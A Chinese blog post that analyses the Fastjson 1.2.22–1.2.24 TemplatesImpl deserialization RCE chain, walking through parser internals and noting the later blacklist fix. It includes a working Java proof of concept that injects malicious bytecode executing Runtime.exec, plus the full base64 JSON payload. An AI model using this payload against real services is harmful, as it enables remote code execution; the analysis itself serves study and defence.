赞
踩
Fastjson是alibaba开源的一个json库,能够对json字符串进行序列化与反序列化操作。其在1.2.22-1.2.24版本被爆出来存在反序列化漏洞。该反序列化漏洞一共有两条链子
这次主要分析的是TemplateImpl利用链。
这条链子还是利用了TemplateImpl类,将avasisit生成的恶意类赋值给_bytecodes属性,当反序列化TemplateImpl对象时会调用其gettter和setter方法,在调用这些方法的时候调用了newTransformer从而进入TemplateImpl链条最终实例化恶意类,执行其静态代码段命令。
总的来说就是fastjson在对其进行反序列化的时候执行了getter和setter方法从而导致了命令执行。
Fastjson在对json进行反序列化时首先根据@type类型创建一个TemplateImpl反序列化器,其没有找到该类的反序列化器所以建造一个该类的反序列化器A,在建造过程中会定义每个成员变量的反序列化器。反序列化器A根据@type类型创建一个该类的实例,然后开始每一个字段的反序列化并赋值到实例上对应成员变量操作,在每一个字段反序列化时都会先在A中查找对应类型的反序列化器B,当我们在寻找_outputProperties字段的反序列化器时,smartMatch(这是寻找字段反序列化器的函数)第一次没找到与之符合的就会进行模糊查找,从而找到了outputProperties的反序列化器,所以用这个反序列化器做为_outputProperties字段的反序列化器,后面称其为C。C首先反序列化_outputProperties的值为{},然后调用自己的setvalue方法将该值赋值给实例的_outputProperties成员变量,在setvalue中调用了getoutputProperties方法(毕竟A是outputProperties反序列化器,如果是_outputProperties的反序列化器,我猜会调用get_outputProperties方法),而在调用TemplatesImpl.getoutputProperties时会调用newTransformer从而进入之前链子(注意此时json中的_bycodes已经被反序列化并赋值给了实例的_bycodes成员变量),实例化evil类从而导致执行其静态代码段(命令执行)
fastjson有两个反序列化json的方法
看一段测试,一切尽在不言中
class Student { private String name; private int age; public Student() { System.out.println(" method: Student() "); } public Student(String name , int age) { System.out.println(" method: Student(String name , int age) "); this.name = name; this.age = age; } public String getName() { System.out.println(" method: getName() "); return name; } public int getAge() { System.out.println(" method: getAge() "); return age; } public void setName(String name) { System.out.println(" method: setName() "); this.name = name; } public void setAge(int age) { System.out.println(" method setAge() "); this.age = age; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } } public class Test { public static void main(String[] args) throws Exception { Student zhangsan = new Student("zhangsan", 20); System.out.println("序列化1-------------------------------------------"); //只有设定SerializerFeature.WriteClassName即@type时,反序列化才会反序列化为相应类。如果没指定则会反序列化为Jsonobject String s = JSON.toJSONString(zhangsan, SerializerFeature.WriteClassName); System.out.println(s); System.out.println(s.getClass().getName()); System.out.println("反序列化1-------------------------------------------"); Student parse = (Student)JSON.parse(s); System.out.println(parse); System.out.println(parse.getClass().getName()); System.out.println("反序列化2-------------------------------------------"); JSONObject parse1 = JSON.parseObject(s); System.out.println(parse1); System.out.println(parse1.getClass().getName()); System.out.println("反序列化3-------------------------------------------"); Student parse2 = JSON.parseObject(s, Student.class); System.out.println(parse2); System.out.println(parse2.getClass().getName()); } }
执行结果
在反序列化时只有指定Feature.SupportNonPublicField才会对没有setter方法的私有成员变量反序列化成功。
具体反序列化机制看下面:
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#3952db0f
https://fynch3r.github.io/Fastjson%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B001/
https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/
Fastjson 流程分析及 RCE 分析 (seebug.org)
Feature.SupportNonPublicField需要开启,因为TemplateImpl类的_bytecodes和_outputProperties
是私有变量且没有setter方法。
因为Feature.SupportNonPublicField是在fastjson1.2.22版本才引入所以只影响1.2.22-1.2.24版本fastjson的
先看下POC
public class FastJson { public static String generateEvil() throws Exception { //首先生成一个evil类 ClassPool pool = ClassPool.getDefault(); CtClass clas = pool.makeClass("Evil"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); String cmd = "Runtime.getRuntime().exec(\"calc\");"; clas.makeClassInitializer().insertBefore(cmd); clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())); clas.writeFile("./"); byte[] bytes = clas.toBytecode(); //将evil类的字节码base64编码 String EvilCode = Base64.getEncoder().encodeToString(bytes); System.out.println(EvilCode); return EvilCode; } public static void main(String[] args) throws Exception { final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String evil = FastJson.generateEvil(); //这个是网上给的payload,但是我发现不要allowedProtocols和_name成员变量也行,无所谓的 //String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n"; //生成payload String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }}\n"; //触发命令执行 JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField); } }
打印了一下Poc看一下
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAWAQAGPGluaXQ+DAAYAAgKABcAGQAhAAIAFwAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABgACAABAAkAAAARAAEAAQAAAAUqtwAasQAAAAAAAQAFAAAAAgAG"],'_name':'a.b','_tfactory':{},"_outputProperties":{ }}
简要分析一下
_bytecodes为啥要进行base64编码
因为fastjson在对byte[]类型的数据进行反序列化时会首先对其base64解码
_tfactory
为什么为{}
上篇有讲
还可以参考下面这篇
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#2914a06f
这些变量的设计细节会在后面深入分析
调用链分析:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
input#newInstance()
我们一步步来分析
我们指定反序列化为Object.class,Feature.SupportNonPublicField可以对私有属性进行反序列化,跟进parseObject
创建一个默认的json解析器,并将json字符串传入
跟进看一下,创建了一个JSONscanner,继续跟进this方法
json字符串是{开头所以设置了一下lexer的token为12
然后回到了刚开始的地方,获得一个默认json解析器后,开始json反序列化操作
跟进parseobject,到了DefaultJSONParser#parseObject,这个DefaultJSONParser是反序列化json字符串的主要类,大概看一下
跟进getDeserializer方法,此时type为我们指定的object
跟进后发现,其会在derializers这个map中查找有没有与type对应的键值,如果存在则将该反序列化器取出,对于object来说其反序列化器肯定存在,则直接返回给derializer
拿到之后return反序列化器
回到DefaultJSONParser,用object的反序列化器反序列化object
跟进,首先判断type是不是GenericArrayType类,此处type为object,所以肯定不是。就会到42行
跟进到parse方法
根据token选择操作
token之前设置的是12,所以进入12分支
这里先生成一个JSONObject对象
然后利用parseObject解析这个对象
跟进parseObject
这是解析json的主要函数,大概看一下
前面是在检查语法
然后在275行通过loadclass获取@type值的类对象
拿到类对象之后,就需要找其反序列化器了,在284行
拿到反序列化器后对json数据进行反序列化
这里的lexer为json扫描器,其存放了json字符串还有其他一些信息,下面会对语法进行解析看是不是符合json规范
走到176行会lexer会取出key为@type
然后再274行判断@type是否为jspn的默认type类型,这里判断成立,进入if分支
276行进入loadClass,ref为@type的值com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
可以看到className是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
前面代码都没找到对应的clazz,到828行contextClassLoader.loadClass得到TemplatesImpl类对象。并返回clazz,此时clazz为TemplatesImpl的类对象
回到DefaultJSONParser318行,此时需要获取clazz的反序列化器
跟进getDeserializer函数
首先是在derializers中找有没有TemplatesImpl的反序列化器,这自然是找不到的
到279行,因为type是TemplatesImpl的类对象所以自然成立,进入if分支
传入到另一个getDeserializer中,跟进
刚开始还是在derializers这个反序列化器集合中找,肯定找不到
然后到319行判断TemplatesImpl是否在黑名单中,肯定没在继续往下走
往下走大部分代码都是在找TemplatesImpl的反序列化器,都没找到
到411行,最终Fastjson会没有就创建一个反序列化器
跟进createJavaBeanDeserializer,这个函数就是创建TemplatesImpl反序列化器的
480行跟进build函数,在build中会利用反射获取类的信息然后存在beanInfo中,beaninfo中存放了成员变量的反序列化器以及将其与getter和setter方法绑定到一起
首先获取TemplatesImpl的成员变量以及方法并存入到对应变量中去
然后呢会根据一定的规则判断每一个方法是否符合,如果符合就将其与变量绑定在一起
先绑定setter方法,然后绑定getter方法
具体可以看这个
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#3952db0f
这是getter方法的处理步骤
最终得到的信息大概就长这个样子
可以看到将outputProperties变量与public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法绑定在一起了
在480将其传入JavaBeanInfo并返回
beaninfo中存放了是什么类,这个类的构造器是什么,以及变量的反序列化器,之所以没有所有成员变量的反序列化器是因为在build中很多变量没有符合条件
到537行,返回一个JavaBeanDeserializer反序列化器,此时我们就有了TemplatesImpl的反序列化器了
回到getDeserializer:461, ParserConfig
继续往上层返回该反序列化器
又回到了DefaultJSONParser 318行,拿到TemplatesImpl的反序列化器后,就要开始对json进行反序列化操作了
大概步骤就是先创建一个TemplatesImpl实例,然后在TemplatesImpl的反序列化器中找对应变量的反序列化器,找到后反序列化json字段然后赋值到TemplatesImpl实例上,这里赋值操作可能用的是反射。
首先反序列化json中的第一个字段_bytecodes,先用lexer获取对应的建
创建一个object实例
597行,反序列化key值然后做赋值操作
当执行完597行,会发现object的_bytecode的值为那个恶意类的字节码
下一个反序列化的是_name,下一个是_tfactory
然后到了_outputProperties,此时跟进一下parseField
这里大概流程就是先在反序列化器中找与自己对应的成员变量反序列化器,然后用这个反序列化器反序列化自己然后setvalue到obejct中
跟进smartmatch
首先会找有没有_outputProperties的反序列化器,肯定是没有的
那就模糊查找,首先去掉其前面的_,得到key2
然后用key2在反序列化器中找有没有对应的反序列化器,这个肯定有。这个反序列化器是我们刚才build时候创建的,其还绑定了getter方法
找到后返回改反序列化器
开始对_outputProperties该json值进行反序列化操作
跟进parseField
用找到的outputProperties反序列化器反序列化_outputProperties字段值
得到value为{},我们paylaod中设置的就是这个,没问题
然后调用setvalue将该值赋值到object中去
跟进setvalue方法
在78行会调用反序列化器中指定的method,即pgetOutputProperties()方法
我们看一眼此时的object,其_bytecode为恶意类的字节码
在getOutputProperties中调用了newTransformer
然后就会调用getTransletInstance方法
因为_class我们没有设置值,所以调用defineTransletClasses
这里面会对_bytecodes进行加载,得到其类对象,也就是得到了恶意类的类对象
回到getTransletInstance,调用newInstance,对刚才生成的类对象实例化,从而导致触发其静态代码段中命令执行代码,从而导致命令执行
弹出计算器
在1.2.25版本以后加入了黑名单校验
将DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass
方法替换为了this.config.checkAutoType()
方法
会对typename进行校验,是否在黑名单中
如果检测到传入的类在黑名单中则停止反序列化
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
这个修复好像最好也被绕过了,具体后面再说
这个链子想要搞懂,以下几点比较重要
lexer是json扫描器,用来在json中取值的,当然还有其他功能。
首先通过@type获取对应类的反序列化器(其中包括了符合条件的(buile时候)成员变量的反序列化器),然后实例化一个对应类,将json字符串中每个字段利用对应的反序列化器进行反序列化并存储到对象中去。最终就完成了反序列化操作,得到了一个对象。
在寻找_outputProperties的反序列化器是通过模糊查找找到了outputProperties的反序列化器,再用outputProperties的反序列化器对_outputProperties值进行反序列化后调用了getoutputProperties方法,该方法中实例化了恶意类字节码,导致执行了其静态代码段中的恶意代码。
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb
Fastjson 流程分析及 RCE 分析 (seebug.org)
https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/
https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/
https://blog.csdn.net/qq_35733751/article/details/119948833
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。